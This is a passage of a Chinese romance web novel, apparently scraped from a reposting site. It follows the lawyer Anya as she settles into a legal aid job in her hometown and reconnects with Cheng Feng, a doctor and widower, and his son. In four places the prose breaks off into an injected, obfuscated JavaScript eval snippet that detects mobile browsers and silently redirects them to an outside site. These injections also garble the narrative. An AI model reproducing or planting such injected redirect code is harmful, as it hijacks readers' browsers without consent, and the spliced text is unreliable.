这几年安雅不眠不休,代理费也一路水涨船高,可那些都不是她真正想要的。 她想要的,在金都,从未得到过。 安雅还是决定直说:“说实话,这份工作能做多久,我还没有想好,但是......” 车子缓缓停下,不等安雅说完,刘宁宁便拉着她,“走,先看完你的办公室再说。” 穿过空旷的大厅,安雅跟着刘宁宁站在一扇门前向里看去。 办公室的空间并不大,装修简单,有古朴的木框窗,是安雅小时候学校里用的那种。窗子是打开的,外面有几颗巨大的白杨树,风把树叶吹得摇摇晃晃,闪落一地星河。 “这是给我的?”看到办公室里唯一的一张桌子摆在窗前,安雅还是不敢相信,“说好的是赢了就有独立办公室,你怎么知道会当庭宣判?”安雅还想再问点什么,但张嘴的瞬间,心下突然明了。 她很难想象,在这栋称得上简陋的小楼里,刘宁宁是从什么时候开始布置这间办公室。 又是从什么时候开始,有人相信凭她的判断,这场算不上简单的庭审一定会赢,所以便在安雅回来之前准备好了这一切。 “谢谢。”心口涌上一阵热流,安雅突然语塞。 “哎呀,什么谢不谢的,这都是你自己为自己争来的。”刘宁宁的笑声爽朗:“你在电话里说要做无罪辩护的时候,我是挺害怕。但回头想想,这小姑娘蛮厉害,说不定别人办不到的事情,她还真能做到。” “这些,都是你应得的,你配得起。”刘宁宁拉着安雅坐在了办公桌后的椅子上,“怎么样?舒服吗?咱们区里给法律援助中心的经费不多,但好在地方大,东西我们也尽量置办些好用的,你看看桌子底下。” 安雅俯身,从办公桌下赫然抽出一个折叠床。 “这是我们今年给每个办公室都配备的,中午在食堂吃完饭,还能睡一觉,怎么样,不错吧?” 何止是不错,简直是震惊。 从业这几年,安雅和身边的人都是吃轻食外卖,甚至只吞营养剂也是家常便饭。他们这些人连晚上的睡眠都无法保证,更何况午睡。 在寸金寸土的中环,每家能叫的上名的律所,也只有合伙人级别的律师能有自己的办公室。那小小的一方独立的天地,是安雅在梦里都想达到的位置。 但现在,在离开之后,她轻而易举的得到了一切,包括身为律师的尊重。 没有性别歧视,没有论资排辈,只要能她做好自己手头的事。但这一切居然最后只能合理发生在一个欠发达的小城里,多少让安雅有点哭笑不得。 她又想起离职的那天,得知努力了几年的合伙人席位只因为自己是女人就被刷下来,荒诞之余,她心里只有一个念头,就是逃离...... 安雅像一个游魂般在金都的各个办公室里飘荡,离职的手续一层又一层,多少让她有点晕头转向。 因为不久前才装修过,所有的内部墙体都被换成了新型隔音玻璃。安雅每每走在里面,都感觉自己像是什么奇怪的生物,为了观察和做实验,被豢养在玻璃容器里。 只要有人进来,就能看见这些美丽又无力的标本。 站在部门主管Charles的玻璃墙外时,安雅看见,他正在参加一个电话会议。黑色的八爪鱼扩音器趴在他硕大的办公桌上,超快语速下,中英夹杂的对话不断跳出来。 “婚姻家事部门的营收本季度又下降了,我早都说了应该cutjobs,都是些家长里短的事,能出什么成绩?”安雅大概能区分出那是金都新上任的中国区主管,“还有,今年的企业性别、人种还有那些什么的多元化指标完成了吗?金都已经蝉联中国区最佳雇主十年了,我不希望在我上任之后,有不好看的事情发生。” “让HR审查一下,那些休产假的,休婚假的,还有正在哺乳期的,paymoreattention,ok?等过了评测再说。” Charles抬头看见玻璃外的安雅,脸上不悦的表情一闪而过。 她倒也无所谓,只是摇摇头,心里想着这几百美元一片的高级玻璃也并不怎么隔音嘛,还是什么都听得清清楚楚。 “辞职的事,想好了?”Charles盯着屏幕上待处理的流程,头也不抬地问,“你也不算小女孩了,标的上亿的案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464720|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都做了不少,还是这么闹脾气耍小性子?” “我申请,你批准,怎么还能扯到这些?”安雅勾着嘴唇轻笑,“Charles,你是不是被中国区上面来的人批了,心情不好?” 看着他逐渐黑了脸,安雅的心里才终于有了一丝快意。 “Anna,有些话我本来不想说的。早上的会,我也投的是反对票。你知道为什么吗?”Charles靠在椅子上转了半个圈。 “从你进来开始,我就不喜欢你。你什么都要争,什么都不肯低头。小姑娘,你才27岁,懂什么是人情世故吗?合伙人就那么好当?我四十岁才能在那个办公室有一个座位,你凭什么?” 把已经涌到嘴边的“凭我是你爹”生生咽了下去。安雅想,她是女的,不想当这老男人的爹,也看不上这老男人的爹,自然妈也做不成了。 她差点被自己在心里完整的逻辑推理给逗笑,但习惯了做这行,安雅早已喜怒不行于色。 她娇媚一笑,又换上平日里柔柔软软语气,伏在桌前用着极尽爹味的口味,把平时自己每天都听到的话又转述了一遍:“Charles,虽然我要走了,但作为过来人,我还是想说劝你一句。” “你们男人就应该控制好自己的脾气,别把那些个人情绪带到工作上来。这样,可显得一点也不professional。” 无视Charles的黑脸,安雅潇洒离场。当她拎着前不久刚买的当季Celine走出律所时,正是傍晚。 她还记得那天,过了大楼的闸机,自己立刻被外面的夕阳所吸引。空气里漂浮着的水润湿气已逐渐退散,只留下淡粉色的云霞,丝丝缕缕的,白日焰火一般。 正如今天安城傍晚簇拥着盛放的云。 “是不是太累了?”看安雅对着窗外出神,刘宁宁变戏法似的递过来一个苹果,“晚上去我家吃饭?” “嗯?”安雅接过苹果,后知后觉想起自己还和程枫有约,抬腕看表,还差几分钟就5点,的确也到了该吃饭的时候了,“下次吧.......今天我还有点事。” “咱们五点下班,正常情况下不用加班。”刘宁宁已经在收拾东西了,“不正常情况下嘛,也要先吃饭,活可以拿回家做。”说完她向安雅狡黠地眨了眨眼睛,背上包便轻手轻脚地走向了停车场。 按时按点下班的感觉依旧不真实,安雅坐在办公桌旁,来回转着椅子,一口一口吃完了刘宁宁给的苹果。傍晚的风吹进来,连她都没有注意到自己在笑。 等她踩着点走到法援中心门口时,嘴上还在哼着歌,程枫的车已经在等了。 他换了一件新的衬衣,衬着皮肤更显白皙。 程枫替安雅开了车门,依旧是副驾,这次安雅思考了几秒。 如果说前一天是因为不知道程枫本人的生活状态,恰好随意地坐在了那个位置。那现在再坐在副驾,是不是就有点不礼貌了? 她内心还在挣扎,但程枫却丝毫不觉。 “怎么了?” “没......”还是没想好怎么开口,要是贸然说出,让程枫觉得自己也有这方面的意思,那岂不是更麻烦了。 心里的纠结在程枫发动车子后依旧没有散去,一路上安雅无话。直到程枫偷瞄了她几十次之后,终于忍不住开口:“吃点什么?” “你结婚了?” 两人同时提问,紧接着就是尴尬的沉默。 半晌,程枫压低了声音:“没结婚。” “没结婚就有儿子?”一股气从胸口莫名升腾上来,安雅也不知道自己为什么要这么不依不饶,平时她不是这样的。 就算是结婚有孩子,也有交朋友的权利。但这些年,她见过太多家庭以意想不到的方式瞬间瓦解,然后对薄公堂。 不应该是这样的,起码程枫和她不应该这样。 因为安雅语气里明显的敌意,程枫愣了几秒。看他轻蹙着眉头,安雅心中升腾起莫名的紧张,指甲扣进肉里也浑然不觉。 程枫的眼睫在焦糖般的夕阳下微微颤抖,认命一般,终于说出那句话。 “他......他妈妈生他的时候,难产,去世了。” 5. 第五章 “真该死啊!” 闭着眼睛在心里骂了自己无数次之后,安雅终于敢抬起头来看程枫。 但他却没有继续说下去,似乎也没有在等着安雅做出什么反应。只沉默着开车,好像刚才只在在讲一个从哪里听来的故事。 现在程枫已经回答了她的问题,但轮到自己说点什么的时刻,安雅却一个字也讲不出来。 对她来说,这并不常见。 以往都是她在法庭上把对方辩到哑口无言,更有甚者,前脚刚走出法庭大门就嚷嚷着要打人。但安雅完全看得开,自己赢了案子又赚了钱,难道还要在意对方的态度? 久而久之,这在安雅心里反倒成了来自于对手的另类认同。工作的习惯不出意外延伸到了她生活的方方面面,准确的说,从她进了香港金都的那一天起,嘴就再没饶过人。 “抱歉。”安雅继续低着头。 根据已知信息,安雅不断在心里复盘,试图找到什么突破口来缓解一下心里的愧疚和尴尬:程枫的妻子去世了,而且小孩一出生就没了妈妈。又听说他儿子已经快要上小学了,那算下来......这些年,他又当爸又当妈的,应该过得很不容易。 但是自己又在刚刚口无遮拦地说了那么多不该说的话,这......真没脸再见他了。 在安雅忍住了第七次想要因为丢脸而跳车的冲动后,程枫终于放慢了车速。 “你不是有意的,我知道。”程枫温声回应,脸上看不出悲喜,“昨晚回去我就一直在想,应该要早点告诉你我有儿子这件事。” “但又怕你会觉得......唐突。”他的嘴角扯出一抹苦笑,怕安雅嫌弃自己,语气却还是淡淡的,“现在说完了,你还愿意和我这个单身父亲一起去吃晚饭吗?” “吃!”安雅连忙应声,壮胆一般,越说越起劲,“单身父亲怎么了,我觉得挺好!虽然可能一个人带孩子会辛苦点,但绝对值得。” “你这么想?”程枫的嘴角终于露出一丝微笑。 他思考问题时微微歪头的样子有几分天真,总让安雅想起还在读高中时的程枫,满满的少年气。 “当然了!”看他还愿意和自己有来有回的聊天,安雅顿时舒了一口气,“我都听说了,要不是因为你,区医院的妇产科早倒闭了。” 程枫脸上的诧异不像装出来的:“有吗?我可能是在这一片小地方待的太久了,没怎么注意过这些消息。” “当然啦,因为出生率下降,全国的医院都在关停妇产科。”安雅逐渐放下防备,再一次舒服地缩在程枫副驾,“你不知道是因为区医院的妇产科规模和就诊人数在逆势增长,我们程医生名声在外,这附近的孕产妇开几个小时车都要过来找你,你不会不知道吧?” “好像,是有很多不是我们辖区患者。”他略沉吟:“难怪我这个月的加班时数又超了,今天也是,幸好来接你没迟到。” “敢迟到你就完蛋了!”安雅压低了声音,“不过你说妇产科真的有那么多疑难杂症吗,如果真的从其它地方过来,只为了看诊,那多折腾,一天就为了那十几分钟?” 安雅忍着不笑:“该不会......是觉得程医生眉目清秀,心里喜欢,想多看两眼?” 程枫:“那你呢,想多见我几次吗?” 他突然俯身靠近,安雅还在痴痴望着他的侧脸,来不及收回目光。眼神相触,一种强烈的欲念从安雅心底瞬间升腾。 她突然觉得熟悉,好像以前在他们之间也有过这样的时刻。 “如果你愿意的话,以后只要我按时下班,都来接你一起吃饭。”程枫继续说下去,“和以前一样。” 以前......安雅以为自己早都忘了。 - 记忆又回到那个17岁的夏天,带着被北方阳光暴晒过后的肥皂香味。 后来多年,安雅辗转英国,香港,再兜兜转转回到安城,连带着那个被烈日灼烧的夏天,总在夜半梦回时帮她将生活中的阴暗与潮湿燃烧殆尽。 高一刚开始的第一个学期,安雅如愿进入了省重点。但学校为了高考升学率强制要求所有学生都必须住校,好保证凌晨5点的早读和半夜11点的晚自习安排。 安雅一直是走读生,家里也只有她一个,加之父母又较为开明,被娇养惯了,从心理到生理都难以接受这样的变化。 所以,她生病了。一个周下来,安雅总感觉自己的小腹隐隐作痛。那种疼痛会突然发生于某一个不确定的时间点,然后伴随着恶心和头痛,反反复复地折磨着她。 但在那个以“高考工厂”著称的省重点里,成绩是重要的,行为是要规范的,生病才是最不值一提的事情。 所以当她再一次找到班主任老师想要为课间操请假时,直接被更年期情绪紊乱的中年男老师一口拒绝。 “肚子疼是什么病?这点事就要请假?你要知道,学校安排跑步并不只是为了让你们锻炼身体,更重要的是要锻炼意志。懂吗?”时隔多年,安雅还能记得那位数学老师因为常年抽烟而导致的牙龈萎缩。 他说话时枯黄的牙根总露出一大截,唾沫星子穿插其中,经常会有几颗过于活跃地跳出来,喷溅在被训的人脸上:“跑,跑出事来我负责。” 小胳膊拧不过大腿,好汉也只能吃了眼前亏。她也觉得神奇,在自己硬着头皮,拖着灌了铅似的腿跑完了三圈八百米之后,竟然还能活着走回教室。 但意志力再强大,肾上腺素也有分泌殆尽的时候。终于,在跟着零零散散的人群走出操场时,她突然感觉到一阵心慌。周围全都是清一色穿着校服的同学,慌乱之间,她也分不清哪个到底是自己的同班同学,只随手抓了一个最近的身影。 但还没等她张嘴呼救,便眼前一黑,晕了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464721|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸腔里的氧气像是被一点一点尽数抽干,一种难以言表的麻木从头皮传导到四肢,最后停留在指尖。安雅用尽全力想要抓住点什么,却只能被迫感受着周身的虚空。 像是被投入了某个真空地带,没有声音,眼前也只有黑暗。 下坠,无尽的下坠。 突然,她感觉到身下传来一股暖意,混合着干净的肥皂水气味,轻飘飘地托住了即将沉没的她。 “别怕,就快到医院了。”这是安雅在失去意识之前,听到的最后一句话。 再醒来,她就已经躺在医院的床上了。烈日的炙烤从窗外直射在她身上,安雅被刺地睁不开眼,她刚想翻个身,却小腹一侧的疼痛扯得她龇牙咧嘴。 “幸好你们来得及时,黄体破裂发病急,要是拖成大出血,对小姑娘后面的生育也会造成影响......”门口传来几句医生的叮嘱。 接着,她便第一次看到了程枫。 逆着光,安雅只能依稀看见那人穿着一身简单的校服。那蓝白色将他衬得极为清隽,衬衫下隐隐可以窥见比例完美的腰身。 带着刚刚奔跑后的喘息和额角渗出的细密汗珠,程枫缓慢地走向她。 就是那短短的几步路,却在之后的几年里被安雅的记忆无限拉长。 她已经记不起来那场病从青春期开始的病到最后是如何收场的。印象里父母闻讯而来后的担心与崩溃、班主任迫于压力无奈向她当众道歉时扭曲的嘴脸、事情闹大了后,学校顺带免了她三年的课间操时的狂喜都变逐渐被她淡忘。 那些记忆像尊孤独伫立在荒山里的神一般,年久失修。 就连那场病唯一留下的疤痕,也都被她用蓄谋已久的纹身盖了过去。一切就像从没发生过一样,除了程枫。 之后的很多年,安雅都会像强迫一般,不断地回想当时自己晕过去之后,程枫是如何捡到了自己,又是如何从学校一路将她背到了一条街之隔的医院。 开始的时候是因为想要记住,但在和程枫失去联系之后的日子里,这件事逐渐变成了一种习惯。在阴暗幽深的潜意识里,安雅通过练习不断加深这段记忆的重量,直到再次和他相遇的那一刻。 安雅依稀记得那个夏天因为程枫热闹了不少,安城中学恨不得让全世界都知道自己教出了个协和医学院的学生,小地方的人口耳相传,大街小巷上都是中学给自己脸上贴金的横幅。 却没人知道,在那个过于喧闹的夏天,程枫的母亲因为宫颈癌猝然离世。而他的父亲一直从事外贸生意,常年不沾家,办完妻子的后世便执意要带程枫离开安城。 所以自己当时是如何和程枫熟识起来,又是如何和这个人彻底失去联系,安雅很难找出一个合适的节点。 但可以确定的是,他们曾经很亲密。 是那种什么话都说,如果不是程枫拒绝,也什么事都做了的亲密。 6. 第六章 过期的记忆带着意味不明的隐痛爬上安雅的心头,她毫无招架之力。 见她久久没有回应,程枫程枫作势摸摸肚子,“好饿,附近有家很好吃的炒面,你要不要尝尝?” 趁着等待红绿灯的间隙,程枫继续温声提议,“或者你有什么其它想吃的,想到了就告诉我。” “面就很好!”中午安雅和刘宁宁都一心扑在案子上,在饭堂随便扒拉几口就回了办公室。现在从程枫嘴里听见了自己最爱吃的面食,哪有不同意的道理。 小城的饭店都没有什么装修和设计可言,但好在干净整洁。安雅跟在程枫身后,在窗边的小方桌旁坐了下来。 “哎!程医生来了!”老板娘提着茶壶站在桌边,“还是老样子?” 程枫点点头,算是打了个招呼。 随即将手边的菜单轻轻推向安雅面前,“你看看,有什么想吃的吗?” 安雅大手一挥,对着菜单就是一通乱点:“嗯,炒面,再加这几个素菜,还有两个酸梅汤。” “饿了吗?”程枫镜片后的眼睛好像总是含着一汪春水,“还是......回来吃的不习惯?” “饿!”安雅抄起筷子就对着刚端上来的素菜拼盘下手,入口的瞬间,熟悉的调味方式和时蔬自带的鲜甜充斥味蕾,“好吃!” “怎么饿成这样?”程枫拿起酸梅汤插好吸管,轻放在安雅手边,“法援中心应该是有餐厅的,如果吃的不习惯,门口也有几家做的不错的小店。” 他记得关于安雅的一切,这人挑食到不喜欢的食物她一口也不会吃。高中学校的饭堂食物粗糙,环境拥挤,安雅宁愿瘦到皮包骨,也不迈进那个地方一步,每天仅靠些小卖部的零食牛奶维持生命体征。 但她喜欢的东西又非常简单。所以高中的最后一年,程枫每天都早起做好了饭给生病的母亲留一份,再带两份去学校。 安雅手里筷子不停,程枫就那么安静地看着她,心中逐渐被久违的情愫填满。 不错,是合安雅口味的。 他们已经很久没见了,久到程枫已经快要忘记,她是自己养大的小孩,自然在喜好上有几分相似。 “一会儿跟我去超市买点东西放在办公室,挑点你喜欢的,随时都能吃的那种。”程枫夹着藕片尝了尝。 “嗐,我今天在区法援中心接了个案子,早晨去的,下午就要开庭。”停下筷子的间隙,安雅托腮思考,红色的指甲贴在脸颊边,更显她明艳动人,“我现在都想不起来中午到底吃了些什么,还是我根本就没吃饭。” “真决定要回来工作了?”程枫又抽出了一双不同颜色的筷子做公筷,夹了自己面前的藕到安雅碗里。 “区法援中心。”安雅将藕片几口咬碎,“明天应该才算是我新工作的第一天,以后有什么法律问题,都欢迎随时来找我。” “好。”程枫也不多问,他眯着眼睛笑的样子平和如同神谕。 安雅失神了几秒,突然她感觉到长期以来,环绕在自己周围的那种悬空感逐渐在消失。像缓缓降落一般,没有失重带来的不适。她就那么稳稳地,停在这个人面前。 程枫连同这两天在她安城所碰见的一切,都给了她这样的感觉。一切都是熟悉的,也都是安全的。 等到安雅吃饱喝足,窗外的天色也已经渐暗。 “你不要回家看孩子吗?还要送我那太麻烦了。”安雅忍着吃撑了的感觉,尽量用还算清晰的语句再一次拒绝了程枫要送她回家的提议,“这没多远了,我自己走,消化一下。” 程枫瞟了眼手表的时间,自然地拉开了副驾的车门:“过去正好,他幼儿园就在你送你回家的路上,不麻烦。” “还有,你要不要.......正好顺路.......见一下他?”少见的吞吞吐吐。 程枫清亮的眼神上好像附上了一层意味不明的恻隐:“恩宇很喜欢和人玩,但家里总是只有我一个人,所以他每次从幼儿园被我接走的时候,都不开心。” 安雅想,他们认识了许多年,自己却很少见到这样的程枫。 可见的紧张和局促蔓延到他的唇间:“嗯.......还是算了,你刚回来,也挺忙的.......” “一起玩的话,行啊!”安雅并不抗拒小孩,更何况她总觉得自己今天自己不分青红皂白就先审了程枫,实在太冒失。要是能多少补偿一下,也是好的。 见到恩宇的那一刻,安雅心里想的是——这孩子一点也不像程枫。 从长相到性格,一点都不像。 恩宇长得不高,头发软软,整个人看起来都透着一股圆鼓鼓的可爱。 “恩宇,过来打个招呼。”程枫半蹲在孩子身边,满眼笑意。 “爸爸,她是谁呀?”小孩奶声奶气。 安雅主动伸出手:“你猜猜看,猜对了一会儿带你吃冰激凌。” 恩宇眨着眼睛将安雅上上下下打量了许久,终于卸下防备,露出微笑,“你是妈妈!” 说完就一头扑向安雅的怀里。 一时间,安雅不知道如何是好。只任由自己伸出的手悬在半空中,目光对上程枫已经红透了的耳朵。 “这孩子。”慌乱中,程枫把儿子从安雅怀里生拉硬拽着扯出来,“你吓到阿姨了,这是很没有礼貌的行为,快道歉。” 恩宇的眼眶里瞬间积聚起了泪水,只要一眨眼,就能滚下来。 缓过神来的安雅立刻伸手从程枫手里把孩子抢过来,揽在怀里:“你吓到孩子了。” “对......对不起。”程枫乖乖低头认错。 “我是你爸爸的朋友,我叫安雅。”她俯下身子对恩宇笑,“要不要先来一个冰淇淋,然后咱们再去商场里的电玩城玩一圈?” “好哎!”恩宇立刻把已经差点流出的眼泪憋了回去。 一旁的程枫也笑着对安雅点了点头,隔空对她说了句无声的“谢谢。” - 安雅也有好几年没进过电玩城了,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464722|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接和恩宇两人没头没脑地疯玩,让程枫也开了眼。 “你们要喝点什么,我去买。”能看出来,程枫对玩这些东西并不在行,所以他主动承担起了给两个孩子供给能量的重任。 “冰可乐!”大孩子和小孩子异口同声。 等程枫再次拿着可乐回来的时候,却看到不远处两人坐在椅子上聊天。 “香港好玩吗?”恩宇的小脑袋上已经布满了细密的汗珠,额前的头发也洇湿了一块。 安雅从包里拿出纸巾,正在为他细心擦拭:“嗯......还行,我虽然在那边住了好几年,但好像也没真正玩过几个地方。” “所以这个问题跳过,下一个。” 恩宇似懂非懂地点点头,“那你为什么要从香港回来呀?” 安雅帮恩宇脱下外套:“因为我辞职了。” “辞职是什么?” 她抱着恩宇的小衣服,端坐在电玩城一旁的椅子上想了几秒:“工作如果因为一些原因没办法继续下去了,人就可以辞职。” “就像我开赛车的时候,一直卡在第三关没办法通过一样吗?” “有点像。”安雅的脸上终于闪过一丝落寞,她苦笑着伸手去整理几根飘在眼前的头发,“但开赛车只要多练习,总能闯过第三关。辞职的话,要复杂一点。” “大人的世界里,很多事都不是只靠努力就能决定的,所以我就认输逃跑了!”安雅故作轻松,戳了戳恩宇的小脸蛋。 突然感觉到耳边一阵温热,安雅低头,才发现恩宇肉肉的小脸已经贴在了她耳旁:“偷偷告诉你,我爸爸说逃跑其实没什么。只要能离开那些让你不开心的,就能有机会找到自己真正喜欢的东西。” “哦?”安雅忍着耳边的痒痒的气息,“你们怎么会聊到这些?” “因为......幼儿园小朋友总笑我没妈妈,我就老和他们打架。后来,爸爸就被叫到幼儿园去了。”恩宇耷拉着脑袋。 “怎么这样!”安雅没想到是这个原因,她立刻站起身来,上上下下到处检查恩宇的身体。当看到他白皙的手臂后,才稍微放心了一点,“那你没受伤吧?以后,遇到这种事首先就要告老师,然后再回来跟爸爸讲,听到没有?” “可小朋友们说的也没错,我就是没有妈妈呀。”恩宇抿嘴,“爸爸说,如果我不喜欢听那些话,就可以选择逃跑,他也会一样为我骄傲。” “这又不是你的错!”喊出口之后,安雅才后知后觉自己的失态,“恩宇,有很多事我们一出生就都决定了,即使你很努力,也改变不了。” “但这也没什么,你看,阿姨回来了也一样能打赢官司,你爸爸不也把你照顾的很好吗?”安雅忍住眼里的湿润,轻轻抱住他,“以后阿姨会留在城里工作,要是爸爸忙,你也可以来找我,记得受了欺负就要说出来,好吗?” 恩宇乖巧地点点头:“那你会一直留在这里吗?” “这个......”安雅一时语塞。 7. 第七章 不远处的程枫看着安雅陷入沉默,赶忙走上前去。“累了吗?”程枫长腿一迈,三步并作两步就走到了她身边。 安雅立刻猛吸了几口气,极力克制住了刚才和恩宇聊天时带出来的情绪。 他把手里的可乐递给安雅,又转向恩宇,“咱们一起送阿姨回家好不好?” “可是我还没玩够.......”恩宇看爸爸来了,立刻蹭上程枫的大腿撒娇。 安雅急忙推脱:“我自己走就好啦,也没多远,你们快回家休息......” 话音还没落下,她就被恩宇的小手指轻轻勾住:“如果不让爸爸送你回家的话,那阿姨,你能送我们回家吗?” “啊?” “我想跟你一起走。”恩宇认真地眨眨眼,“换你送我们可以吗?” 温暖绵软的触感从指尖蔓延开来,安雅任由恩宇拉着她的手,抬头用眼神制止了正要上前说点什么的程枫。 “行啊!”安雅笑笑,看恩宇蹦蹦跳跳地走向停车场。 “你明天还要早起上班,不用太顺着他。”程枫从身后走来,俯在安雅耳边轻声说,“小孩子的想法总是一阵一阵的,有时候,我也不知道他在想什么。” “现在还早。就是从半夜开始睡,9点上班,至少都能睡够八小时,放心吧。”安雅潇洒地挥挥手。 小城的节奏对她来说,慢到可以一天当做两天过。平时在香港两头见不到天亮的日子,好像在这个地方一下子变成了回忆,久远的让她想不起任何一件具体的事。 关于过去的记忆慢慢变得乏善可陈,可是她那时候明明真的很忙啊。 商场外的天空漂浮着几朵稀疏的云,在稀薄的夜色下,透着清新。 “正是因为不知道他在想什么,所以才要尊重他。”安雅大口呼吸着清凉的空气,语气里少见的带了些温柔。 “也是。有机会做出选择,才会知道真正需要什么。”程枫好脾气地点头,“安大律师说得对,以后还要请你多多帮助我们这对孤儿鳏夫。” “嗯......我的时间很贵的好不好?但咱们既然是老朋友了,就给你打个五折。”她的眼里闪着小鹿般的清澈,慢悠悠地将算好数目的手指伸到了程枫面前,“一小时收2000,不满一小时按一小时计算。怎么样?” “成交!”看安雅心情不错,程枫也开始数着指头认真算账,“那我先预定100个小时,今天的也算进去。不过得等过阵子后再付款,不知道安律师愿不愿意?” “怎么,你中个彩票要等等才能兑换?”安雅一脸不信,“行啊,我记住了,到时候你要是不给钱,我就......” “嗯?”程枫挑眉,薄唇微微上扬,倒显得添了一份痞气。 安雅没想到他的反应,怔在原处,眨了眨眼睛:“要不你再说一遍,我提前录音录像?” 他静静看着安雅,突然弯了弯嘴角,喉咙里发出一声闷笑。 笑声不大,却多了些宠溺的味道。 - 安雅应着恩宇的撒娇和他一起坐在后排,车子还没启动,车机里就传来程枫的电话铃音。 “程医生,9床的病人大出血了!”上车后程枫的手机就自动连接到了车上,所以杨护士这一嗓子喊的,车里所有人都听见了。 能听出来她很急:“王华医生今晚值夜班,他已经准备进手术室了,怀疑是因为宫腔部分有残留,再加上患者先前多次进行人流手术后子宫收缩乏力......” “具体的出血情况可以确定到量吗?”程枫的表情冷峻,细长的手指下滑屏幕,将聊天的音量降到最低。 “我这边还不是很清楚,但已经在输血了,是王医生让我叫你来的,他说他处理这种情况没有经验,而且患者也并没有确切透露过自己多次的人流史。这事情太突然了,我们都没准备!”杨护士说话的尾音已经有些哽咽,“程医生,你现在方便过来吗?我才刚来上班一个月,不想有人死在我的班上啊!” 驾驶位传来清脆的安全带入扣声,“我现在就过去......”说到一半,程枫才像是忽然想到了后排还坐着两个人。 他带着探寻的眼神回头,车内昏暗的光线下,安雅一双明眸亮的惊人。 “睡着了。”安雅带着气声,指了指躺在自己腿上已经熟睡的恩宇。 程枫这才发现,原来自己没注意,几个小时的高强度玩乐下来,儿子一上车就睡着了。 “那.......”他一时不知道该怎么办,要是只有自己倒还好,但现在恩宇睡着了,需要有人看着。 “走啊!去医院。”安雅指着窗外,水墨画一般的天色外,远处闪着星星点点的路灯,“我跟你们一起去。” 她没注意到程枫眼里的感激,只感觉到自己话音刚落,发动机的轰鸣声瞬间从身后响起。 “车我就不关了,你们可以开窗透透气。”说话间,程枫已经关上了主驾驶的门,“可以给我打电话,做手术的时候也会有护士接。” 程枫的话被渐深的夜色逐渐稀释,安雅只能听到几声他跑向医院大楼时的喘息。 看怀里的恩宇依旧睡得老实,安雅便也舒服地躺在程枫后座的真皮座椅上吹着小风听音乐。 车机还连着程枫的手机时断时有,放的都是她没听过的歌,缱绻低沉。 她仰面躺在后排,任回忆在眼前明明灭灭,最后都汇聚在她小兽一般的清澈眼眸中。 过去的几年,她连安静坐下来听一首歌的时间都没有留给过自己。 在香港时的一幕幕从眼前飘过,同一时间段,她的耳朵和手总是在忙不同的事:开着电话会议翻案卷资料,或者一边和电话那头敲定见面时间,手下还噼里啪啦回着邮件。 想到这里,她的眼中闪过一丝了然,恍若隔世。 - 而程枫那边,早已乱成了一锅粥。 杨护士才远远看到一个酷似程医生身形的人,便迫不及待地带着患者的病例资料和一包未开封的手术服站在了门口。 程枫从化不开的夜里跑进,“现在怎么样了?”带着冰凉的气息,他接过杨护士手上的东西。 “刚才打完电话就听说不太好,幸好你来了程医生,我帮你换衣服,你快进去吧!”杨护士急的直跺脚。 手术室外,程枫正在水池旁洗手,突然看见从手术室跑出一个手套上全是血的护士,边跑边向着护士台大喊,“程医生来了吗?患者子宫的收缩功能约等于没有,根本止不住血!” “我在!”程枫倒举着已经做好消毒的双手,一脚踢开了手术室的大门开关。 - 等他踩着垃圾桶,再一次把沾了血的手套衣服全扔掉时,已经过去了快一个小时。 “子宫清理干净了,血也止住了。”面对杨护士急迫的目光,程枫言简意赅。他靠在护士台上,拿起水仰头就喝,“有人给我打电话吗?” “太好了,那她不会死了吧?”杨护士两眼放光。 程枫接过手机,解锁打开,没有消息。 “目前应该是不会死的。”他穿上外套准备离开。 “我听护士长她们说,你平时都不怎么看手机的。好几回下了手术都到家了,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464723|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现手机还在护士台放着。”看程枫一脸失望,杨护士好像发现了端倪,“程医生,你在等人电话啊?” “最后的缝合王医生在做,用药我也跟他说过了,明天见。”程枫掩饰着被点破的慌乱没有理她,套上风衣后,交代了几句便离开了。 - 安雅被开门声惊醒时已经是晚上十点多钟了。 